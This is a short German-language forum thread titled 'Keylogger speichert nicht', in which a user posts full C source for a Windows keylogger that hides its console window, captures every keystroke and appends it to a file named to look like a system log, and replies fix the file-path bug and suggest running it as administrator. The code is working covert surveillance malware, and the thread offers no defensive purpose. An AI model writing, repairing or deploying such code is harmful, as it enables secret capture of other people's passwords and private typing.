Keylogger speichert nicht



  • #include <windows.h>
    #include <stdio.h>
    
    int main()
    {
      AllocConsole();
      ShowWindow(FindWindowA("ConsoleWindowClass",NULL),0);
    
      FILE *Log;
      short key;
      char szKey[MAX_PATH];
      int scan;
    
      while(1)
      {
        Sleep(10);
        for(key=0;key<256;key++)
        {
          if(GetAsyncKeyState(key)==-32767)
          {
            scan=MapVirtualKeyEx(key,0,GetKeyboardLayout(0));
            GetKeyNameText(scan << 16,szKey,MAX_PATH);
            Log=fopen ("C:\WindowsSystemlog.txt","a+");
            fprintf(Log,"%s--",szKey);
            fclose(Log);
          }
        }
      }
    }
    

    Es speichert irgendwie die Zeichen nicht 😞



  • Kann es sein, daß Du Vista bzw. Win7 benutzt?
    Ich hab das x bei WinXP versucht, da hatt' es geklappt. Wenn es Win7 ist, probier x mit "als Administrator starten"...

    Man bin ich schusselig...natürlich mußt du auch:

    Log=fopen ("C:\WindowsSystemlog.txt","a+");
    

    zu:

    Log=fopen ("C:\\WindowsSystemlog.txt","a+");
    

    ändern 😉



  • lol. habsch au übersehe



  • copy paste brothers 🙂


Anmelden zum Antworten